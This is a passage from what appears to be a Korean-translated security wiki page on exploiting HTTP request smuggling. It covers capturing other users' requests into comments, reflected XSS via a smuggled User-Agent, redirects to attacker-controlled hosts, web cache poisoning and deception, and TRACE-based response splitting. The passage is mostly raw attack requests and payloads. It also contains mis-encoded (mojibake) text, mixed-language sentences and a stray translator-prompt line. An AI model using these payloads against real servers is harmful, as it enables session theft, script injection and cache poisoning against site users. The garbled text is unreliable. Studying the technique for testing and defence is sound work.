์ค‘์ฒฉ๋œ ์š”์ฒญ์˜ Content-Length ํ—ค๋”๋ฅผ ์‹ค์ œ ์ฝ˜ํ…์ธ  ๊ธธ์ด์— ๋งž์ถ”๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ์ž‘์€ ๊ฐ’์—์„œ ์‹œ์ž‘ํ•ด ์กฐ๊ธˆ์”ฉ ์ฆ๊ฐ€์‹œํ‚ค๋Š” ๊ฒƒ์ด ๋ฐ”๋žŒ์งํ•ฉ๋‹ˆ๋‹ค. ๊ฐ’์ด ๋„ˆ๋ฌด ์ž‘์œผ๋ฉด ๋ฐ˜์˜๋œ ๋ฐ์ดํ„ฐ๊ฐ€ ์ž˜๋ฆฌ๊ฒŒ ๋˜๊ณ , ๋„ˆ๋ฌด ํฌ๋ฉด ์š”์ฒญ์ด ์—๋Ÿฌ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ๊ธฐ๋ฒ•์€ TE.CL ์ทจ์•ฝ์  ์ƒํ™ฉ์—์„œ๋„ ์ ์šฉํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, ์š”์ฒญ์€ search=\r\n0์œผ๋กœ ์ข…๋ฃŒ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ฐœํ–‰ ๋ฌธ์ž์™€ ๊ด€๊ณ„์—†์ด ๊ฐ’๋“ค์€ search ํŒŒ๋ผ๋ฏธํ„ฐ์— ์ถ”๊ฐ€๋ฉ๋‹ˆ๋‹ค.

์ด ๋ฐฉ๋ฒ•์€ ์ฃผ๋กœ front-end proxy๊ฐ€ ์š”์ฒญ์„ ์–ด๋–ป๊ฒŒ ์ˆ˜์ •ํ•˜๋Š”์ง€ ์ดํ•ดํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋ฉฐ, ์‚ฌ์‹ค์ƒ ์ž์ฒด์ ์ธ ์กฐ์‚ฌ(self-directed investigation)๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ์š”์ฒญ ์บก์ฒ˜ํ•˜๊ธฐ

POST ๋™์ž‘ ์ค‘ ํŒŒ๋ผ๋ฏธํ„ฐ์˜ ๊ฐ’์œผ๋กœ ํŠน์ • ์š”์ฒญ์„ ์ถ”๊ฐ€ํ•˜๋ฉด ๋‹ค์Œ ์‚ฌ์šฉ์ž์˜ ์š”์ฒญ์„ ์บก์ฒ˜ํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

๋‹ค์Œ ์š”์ฒญ์„ ํŒŒ๋ผ๋ฏธํ„ฐ ๊ฐ’์œผ๋กœ ์ถ”๊ฐ€ํ•˜๋ฉด ์ดํ›„ ํด๋ผ์ด์–ธํŠธ์˜ ์š”์ฒญ์„ ์ €์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

์ด ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ comment parameter๋Š” ๊ณต๊ฐœ์ ์œผ๋กœ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ํŽ˜์ด์ง€์˜ ๊ฒŒ์‹œ๋ฌผ ๋Œ“๊ธ€ ์„น์…˜ ๋‚ด ๋‚ด์šฉ์„ ์ €์žฅํ•˜๋„๋ก ์„ค๊ณ„๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ดํ›„ ์š”์ฒญ์˜ ๋‚ด์šฉ์€ ๋Œ“๊ธ€๋กœ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค.

ํ•˜์ง€๋งŒ ์ด ๊ธฐ๋ฒ•์—๋Š” ํ•œ๊ณ„๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ ์Šค๋จธ๊ธ€๋œ ์š”์ฒญ์—์„œ ์‚ฌ์šฉ๋˜๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ ๊ตฌ๋ถ„์ž๊นŒ์ง€์˜ ๋ฐ์ดํ„ฐ๋งŒ ์บก์ฒ˜ํ•ฉ๋‹ˆ๋‹ค. URL-encoded form ์ œ์ถœ์˜ ๊ฒฝ์šฐ ์ด ๊ตฌ๋ถ„์ž๋Š” & ๋ฌธ์ž์ž…๋‹ˆ๋‹ค. ์ฆ‰, ํ”ผํ•ด์ž ์‚ฌ์šฉ์ž์˜ ์š”์ฒญ์—์„œ ์บก์ฒ˜๋œ ๋‚ด์šฉ์€ ์ฒซ ๋ฒˆ์งธ &์—์„œ ๋ฉˆ์ถ”๋ฉฐ, ๊ทธ &๊ฐ€ ์ฟผ๋ฆฌ ๋ฌธ์ž์—ด์˜ ์ผ๋ถ€์ผ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

์ถ”๊ฐ€๋กœ, ์ด ๋ฐฉ๋ฒ•์€ TE.CL ์ทจ์•ฝ์ ์ด ์žˆ๋Š” ๊ฒฝ์šฐ์—๋„ ์œ ํšจํ•˜๋‹ค๋Š” ์ ์„ ์ฃผ๋ชฉํ•  ํ•„์š”๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๊ฒฝ์šฐ ์š”์ฒญ์€ search=\r\n0์œผ๋กœ ์ข…๋ฃŒ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ค„๋ฐ”๊ฟˆ ๋ฌธ์ž์™€ ์ƒ๊ด€์—†์ด ๊ฐ’๋“ค์€ search ํŒŒ๋ผ๋ฏธํ„ฐ์— ์ถ”๊ฐ€๋ฉ๋‹ˆ๋‹ค.

HTTP request smuggling์„ ์‚ฌ์šฉํ•ด Reflected XSS ์•…์šฉํ•˜๊ธฐ

HTTP Request Smuggling์€ Reflected XSS์— ์ทจ์•ฝํ•œ ์›น ํŽ˜์ด์ง€๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐ ํ™œ์šฉ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํฐ ์žฅ์ ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค:

  • ํƒ€๊นƒ ์‚ฌ์šฉ์ž์™€์˜ ์ƒํ˜ธ์ž‘์šฉ์ด ํ•„์š”ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  • HTTP request headers์™€ ๊ฐ™์ด ์ผ๋ฐ˜์ ์œผ๋กœ ๋„๋‹ฌํ•  ์ˆ˜ ์—†๋Š” ์š”์ฒญ์˜ ์ผ๋ถ€์—์„œ XSS๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์›น์‚ฌ์ดํŠธ๊ฐ€ User-Agent ํ—ค๋”๋ฅผ ํ†ตํ•ด Reflected XSS์— ์ทจ์•ฝํ•œ ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ๋Š”, ๋‹ค์Œ payload๊ฐ€ ์ด ์ทจ์•ฝ์  ์•…์šฉ ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

์ด payload๋Š” ์ทจ์•ฝ์ ์„ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ฐฉ์‹์œผ๋กœ ์•…์šฉํ•˜๋„๋ก ๊ตฌ์„ฑ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค:

  1. ์ผ๋ฐ˜์ ์ธ ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์ด๋Š” POST ์š”์ฒญ์„ ์‹œ์ž‘ํ•˜๊ณ , Transfer-Encoding: chunked ํ—ค๋”๋กœ smuggling์˜ ์‹œ์ž‘์„ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค.
  2. ์ด์–ด์„œ 0์„ ์ „์†กํ•˜์—ฌ chunked ๋ฉ”์‹œ์ง€ ๋ฐ”๋””์˜ ๋์„ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค.
  3. ๊ทธ ๋‹ค์Œ smuggled๋œ GET ์š”์ฒญ์ด ์‚ฝ์ž…๋˜๋ฉฐ, ์—ฌ๊ธฐ์„œ User-Agent ํ—ค๋”์— <script>alert(1)</script> ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ฃผ์ž…๋˜์–ด ์„œ๋ฒ„๊ฐ€ ํ•ด๋‹น ํ›„์† ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•  ๋•Œ XSS๋ฅผ ์œ ๋ฐœํ•ฉ๋‹ˆ๋‹ค.

User-Agent๋ฅผ smuggling์œผ๋กœ ์กฐ์ž‘ํ•จ์œผ๋กœ์จ, payload๋Š” ์ผ๋ฐ˜์ ์ธ ์š”์ฒญ ์ œ์•ฝ์„ bypassํ•˜์—ฌ ๋น„ํ‘œ์ค€์ ์ด์ง€๋งŒ ํšจ๊ณผ์ ์ธ ๋ฐฉ์‹์œผ๋กœ Reflected XSS ์ทจ์•ฝ์ ์„ ์•…์šฉํ•ฉ๋‹ˆ๋‹ค.

HTTP/0.9

Caution

์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด **Content-type**์ด text/plain ๊ฐ™์€ ์‘๋‹ต์— ๋ฐ˜์˜๋˜์–ด XSS ์‹คํ–‰์ด ์ฐจ๋‹จ๋˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์„œ๋ฒ„๊ฐ€ HTTP/0.9๋ฅผ ์ง€์›ํ•œ๋‹ค๋ฉด ์ด๊ฒƒ์„ bypassํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค!

HTTP/0.9 ๋ฒ„์ „์€ 1.0 ์ด์ „ ๋ฒ„์ „์œผ๋กœ, GET๋งŒ ์‚ฌ์šฉํ•˜๋ฉฐ ์‘๋‹ต ์‹œ headers๋ฅผ ํฌํ•จํ•˜์ง€ ์•Š๊ณ  ๋ฐ”๋””๋งŒ ์ „์†กํ•ฉ๋‹ˆ๋‹ค.

In this writeup, ์ด๊ฒƒ์€ request smuggling๊ณผ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ๊ทธ๋Œ€๋กœ ์‘๋‹ตํ•˜๋Š” vulnerable endpoint๋ฅผ ์•…์šฉํ•ด HTTP/0.9 ์š”์ฒญ์„ smuggleํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์‘๋‹ต์— ๋ฐ˜์˜๋  ํŒŒ๋ผ๋ฏธํ„ฐ๋Š” **๊ฐ€์งœ HTTP/1.1 ์‘๋‹ต(ํ—ค๋”์™€ ๋ฐ”๋”” ํฌํ•จ)**์„ ๋‹ด๊ณ  ์žˆ์–ด์„œ, ์‘๋‹ต์€ Content-Type์ด text/html์ธ ์œ ํšจํ•œ ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ JS ์ฝ”๋“œ๋ฅผ ํฌํ•จํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

On-site Redirects๋ฅผ HTTP Request Smuggling์œผ๋กœ ์•…์šฉํ•˜๊ธฐ

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์ข…์ข… ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ URL์— Host ํ—ค๋”์˜ ํ˜ธ์ŠคํŠธ๋ช…์„ ์‚ฌ์šฉํ•ด ํ•œ URL์—์„œ ๋‹ค๋ฅธ URL๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” Apache๋‚˜ IIS ๊ฐ™์€ ์›น์„œ๋ฒ„์—์„œ ํ”ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ํด๋” ์š”์ฒญ ์‹œ ๋์— ์Šฌ๋ž˜์‹œ๊ฐ€ ์—†์œผ๋ฉด ์Šฌ๋ž˜์‹œ๋ฅผ ํฌํ•จํ•˜๋„๋ก ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ๋ฉ๋‹ˆ๋‹ค:

GET /home HTTP/1.1
Host: normal-website.com

๊ฒฐ๊ณผ:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

๊ฒ‰๋ณด๊ธฐ์—๋Š” ๋ฌดํ•ดํ•ด ๋ณด์ด์ง€๋งŒ, ์ด ๋™์ž‘์€ HTTP request smuggling์„ ์‚ฌ์šฉํ•ด ์‚ฌ์šฉ์ž๋ฅผ ์™ธ๋ถ€ ์‚ฌ์ดํŠธ๋กœ ๋ฆฌ๋””๋ ‰์…˜ํ•˜๋„๋ก ์กฐ์ž‘๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

์ด smuggled request๋Š” ๋‹ค์Œ์— ์ฒ˜๋ฆฌ๋˜๋Š” ์‚ฌ์šฉ์ž ์š”์ฒญ์„ attacker-controlled website๋กœ ๋ฆฌ๋””๋ ‰์…˜์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

๊ฒฐ๊ณผ:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

์ด ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ๋Š” ์‚ฌ์šฉ์ž์˜ JavaScript ํŒŒ์ผ ์š”์ฒญ์ด ๊ฐ€๋กœ์ฑ„์ง‘๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์‘๋‹ต์œผ๋กœ ์•…์„ฑ JavaScript๋ฅผ ์ œ๊ณตํ•ด ์‚ฌ์šฉ์ž๋ฅผ ์นจํ•ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Exploiting Web Cache Poisoning via HTTP Request Smuggling

Web cache poisoning์€ ์„ฑ๋Šฅ ํ–ฅ์ƒ์„ ์œ„ํ•ด front-end infrastructure๊ฐ€ ์ฝ˜ํ…์ธ ๋ฅผ ์บ์‹œํ•˜๋Š” ๊ฒฝ์šฐ ์‹คํ–‰๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์„œ๋ฒ„์˜ ์‘๋‹ต์„ ์กฐ์ž‘ํ•จ์œผ๋กœ์จ poison the cacheํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

์•ž์„œ ์„œ๋ฒ„ ์‘๋‹ต์„ ์กฐ์ž‘ํ•ด 404 ์˜ค๋ฅ˜๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋„๋ก ๋งŒ๋“œ๋Š” ๋ฐฉ๋ฒ•์„ ์‚ดํŽด๋ณด์•˜์Šต๋‹ˆ๋‹ค(์ฐธ์กฐ: Basic Examples). ์œ ์‚ฌํ•˜๊ฒŒ, ์„œ๋ฒ„๋ฅผ ์†์—ฌ /static/include.js ์š”์ฒญ์— ๋Œ€ํ•ด /index.html ๋‚ด์šฉ์„ ๋ฐ˜ํ™˜ํ•˜๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฒฐ๊ณผ์ ์œผ๋กœ /static/include.js์˜ ๋‚ด์šฉ์ด ์บ์‹œ์—์„œ /index.html์˜ ๋‚ด์šฉ์œผ๋กœ ๋Œ€์ฒด๋˜์–ด /static/include.js์— ์ ‘๊ทผํ•˜๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์˜ํ–ฅ์„ ๋ฐ›์•„ ์ž ์žฌ์ ์œผ๋กœ Denial of Service (DoS)๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ๊ธฐ๋ฒ•์€ Open Redirect vulnerability๊ฐ€ ๋ฐœ๊ฒฌ๋˜์—ˆ๊ฑฐ๋‚˜ on-site redirect to an open redirect๊ฐ€ ์กด์žฌํ•˜๋Š” ๊ฒฝ์šฐ ํŠนํžˆ ๊ฐ•๋ ฅํ•ด์ง‘๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜๋ฉด ์บ์‹œ๋œ /static/include.js ๋‚ด์šฉ์„ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋กœ ๊ต์ฒดํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” /static/include.js๋ฅผ ์š”์ฒญํ•˜๋Š” ๋ชจ๋“  ํด๋ผ์ด์–ธํŠธ์— ๋Œ€ํ•ด ๊ด‘๋ฒ”์œ„ํ•œ Cross-Site Scripting (XSS) ๊ณต๊ฒฉ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

์•„๋ž˜๋Š” cache poisoning combined with an on-site redirect to open redirect๋ฅผ ์ด์šฉํ•œ ์•…์šฉ ์˜ˆ์‹œ์ž…๋‹ˆ๋‹ค. ๋ชฉํ‘œ๋Š” /static/include.js์˜ ์บ์‹œ ๋‚ด์šฉ์„ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” JavaScript ์ฝ”๋“œ๋กœ ๋ณ€๊ฒฝํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Note the embedded request targeting /post/next?postId=3. This request will be redirected to /post?postId=4, utilizing the Host header value to determine the domain. By altering the Host header, the attacker can redirect the request to their domain (on-site redirect to open redirect).

After successful socket poisoning, a GET request for /static/include.js should be initiated. This request will be contaminated by the prior on-site redirect to open redirect request and fetch the content of the script controlled by the attacker.

Subsequently, any request for /static/include.js will serve the cached content of the attackerโ€™s script, effectively launching a broad XSS attack.

Using HTTP request smuggling to perform web cache deception

What is the difference between web cache poisoning and web cache deception?

  • In web cache poisoning, ๊ณต๊ฒฉ์ž๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์ผ๋ถ€ ์•…์„ฑ ์ฝ˜ํ…์ธ ๋ฅผ cache์— ์ €์žฅํ•˜๋„๋ก ๋งŒ๋“ค๊ณ , ์ด ์ฝ˜ํ…์ธ ๋Š” cache์—์„œ ๋‹ค๋ฅธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์‚ฌ์šฉ์ž๋“ค์—๊ฒŒ ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค.
  • In web cache deception, ๊ณต๊ฒฉ์ž๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์— ์†ํ•˜๋Š” ๋ฏผ๊ฐํ•œ ์ฝ˜ํ…์ธ ๋ฅผ cache์— ์ €์žฅํ•˜๋„๋ก ๋งŒ๋“ค๊ณ , ์ดํ›„ ๊ณต๊ฒฉ์ž๊ฐ€ ๊ทธ ์ฝ˜ํ…์ธ ๋ฅผ cache์—์„œ ์ถ”์ถœํ•ฉ๋‹ˆ๋‹ค.

The attacker crafts a smuggled request that fetches sensitive user-specific content. Consider the following example:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

๋งŒ์•ฝ ์ด smuggled request๊ฐ€ ์ •์  ์ฝ˜ํ…์ธ (์˜ˆ: /someimage.png)์šฉ์œผ๋กœ ๋˜์–ด ์žˆ๋˜ ์บ์‹œ ํ•ญ๋ชฉ์„ ์˜ค์—ผ์‹œํ‚จ๋‹ค๋ฉด, /private/messages์˜ ํ”ผํ•ด์ž์˜ ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๊ฐ€ ์ •์  ์ฝ˜ํ…์ธ ์˜ ์บ์‹œ ํ•ญ๋ชฉ ์•„๋ž˜์— ์บ์‹œ๋  ์ˆ˜ ์žˆ๋‹ค. ๊ฒฐ๊ณผ์ ์œผ๋กœ ๊ณต๊ฒฉ์ž๋Š” ์ด ์บ์‹œ๋œ ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ์ž ์žฌ์ ์œผ๋กœ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ๋‹ค.

TRACE๋ฅผ ์ด์šฉํ•œ HTTP Request Smuggling ์•…์šฉ

In this post ๋Š” ์„œ๋ฒ„์— TRACE ๋ฉ”์„œ๋“œ๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋‹ค๋ฉด HTTP Request Smuggling์œผ๋กœ ์ด๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋‹ค๊ณ  ์ œ์‹œํ•œ๋‹ค. ์ด๋Š” ์ด ๋ฉ”์„œ๋“œ๊ฐ€ ์„œ๋ฒ„๋กœ ์ „์†ก๋œ ์–ด๋–ค ํ—ค๋”๋“  ์‘๋‹ต ๋ณธ๋ฌธ์˜ ์ผ๋ถ€๋กœ ๋ฐ˜์‚ฌํ•˜๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

ํŒŒ์ผ ๋‚ด์šฉ์„ ๋ถ™์—ฌ ๋ณด๋‚ด์ฃผ์„ธ์š”. ์ง€์นจ์— ๋”ฐ๋ผ ๋งˆํฌ๋‹ค์šด/HTML ๊ตฌ๋ฌธ์€ ๊ทธ๋Œ€๋กœ ์œ ์ง€ํ•˜๊ณ , ์ฝ”๋“œยทํƒœ๊ทธยท๋งํฌยท๊ธฐ์ˆ ์šฉ์–ด ๋“ฑ ๋ฒˆ์—ญํ•˜์ง€ ์•Š์Œ์œผ๋กœ ๋ฒˆ์—ญํ•ด ๋“œ๋ฆฌ๊ฒ ์Šต๋‹ˆ๋‹ค.

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

An example on how to abuse this behaviour would be to ๋จผ์ € HEAD ์š”์ฒญ์„ smuggle. This request will be responded with only the headers of a GET request (Content-Type among them). And smuggle HEAD ๋ฐ”๋กœ ๋‹ค์Œ์— TRACE ์š”์ฒญ์„ smuggle, which will be ์ „์†ก๋œ ๋ฐ์ดํ„ฐ๋ฅผ ๋ฐ˜์‚ฌํ•ฉ๋‹ˆ๋‹ค.
As the HEAD response will be containing a Content-Length header, the TRACE ์š”์ฒญ์˜ ์‘๋‹ต์ด HEAD ์‘๋‹ต์˜ ๋ฐ”๋””๋กœ ์ฒ˜๋ฆฌ๋˜์–ด ๊ฒฐ๊ณผ์ ์œผ๋กœ ์‘๋‹ต์—์„œ ์ž„์˜์˜ ๋ฐ์ดํ„ฐ๋ฅผ ๋ฐ˜์‚ฌํ•ฉ๋‹ˆ๋‹ค.
This response will be sent to the next request over the connection, so this could be ์˜ˆ๋ฅผ ๋“ค์–ด ์บ์‹œ๋œ JS ํŒŒ์ผ์—์„œ ์ž„์˜์˜ JS ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

TRACE๋ฅผ ์ด์šฉํ•œ HTTP Response Splitting ์•…์šฉ

๊ณ„์†ํ•ด์„œ this post๋ฅผ ๋”ฐ๋ผ๊ฐ€๋ฉด TRACE ๋ฉ”์„œ๋“œ๋ฅผ ์•…์šฉํ•˜๋Š” ๋˜ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์ด ์ œ์‹œ๋ฉ๋‹ˆ๋‹ค. ์•ž์—์„œ ์–ธ๊ธ‰ํ–ˆ๋“ฏ์ด, HEAD ์š”์ฒญ๊ณผ TRACE ์š”์ฒญ์„ smugglingํ•˜๋ฉด HEAD ์‘๋‹ต์—์„œ ์ผ๋ถ€ ๋ฐ˜์‚ฌ๋œ ๋ฐ์ดํ„ฐ๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. The length of the body of the HEAD request is basically indicated in the Content-Length header and is formed by the response to the TRACE request.

๋”ฐ๋ผ์„œ ์ƒˆ๋กœ์šด ์•„์ด๋””์–ด๋Š”, ์ด Content-Length์™€ TRACE ์‘๋‹ต์—์„œ ์ œ๊ณต๋œ ๋ฐ์ดํ„ฐ๋ฅผ ์•Œ๊ณ  ์žˆ๋‹ค๋ฉด, TRACE ์‘๋‹ต์ด Content-Length์˜ ๋งˆ์ง€๋ง‰ ๋ฐ”์ดํŠธ ์ดํ›„์— ์œ ํšจํ•œ HTTP ์‘๋‹ต์„ ํฌํ•จํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ๊ณต๊ฒฉ์ž๊ฐ€ ๋‹ค์Œ ์‘๋‹ต์— ๋Œ€ํ•œ ์š”์ฒญ์„ ์™„์ „ํžˆ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋˜์–ด (์ด๋Š” cache poisoning ์ˆ˜ํ–‰์— ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค).

Example:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

๋‹ค์Œ ์‘๋‹ต๋“ค์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค (HEAD ์‘๋‹ต์— Content-Length๊ฐ€ ์žˆ์–ด TRACE ์‘๋‹ต์ด HEAD ๋ณธ๋ฌธ์˜ ์ผ๋ถ€๊ฐ€ ๋˜๋Š” ๊ฒƒ์— ์ฃผ๋ชฉํ•˜์„ธ์š”. ๊ทธ๋ฆฌ๊ณ  HEAD Content-Length๊ฐ€ ๋๋‚˜๋ฉด ์œ ํšจํ•œ HTTP ์‘๋‹ต์ด smuggled ๋ฉ๋‹ˆ๋‹ค):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(โ€œarbitrary responseโ€)</script>

HTTP Response Desynchronisation์„ ์ด์šฉํ•œ HTTP Request Smuggling ๋ฌด๊ธฐํ™”

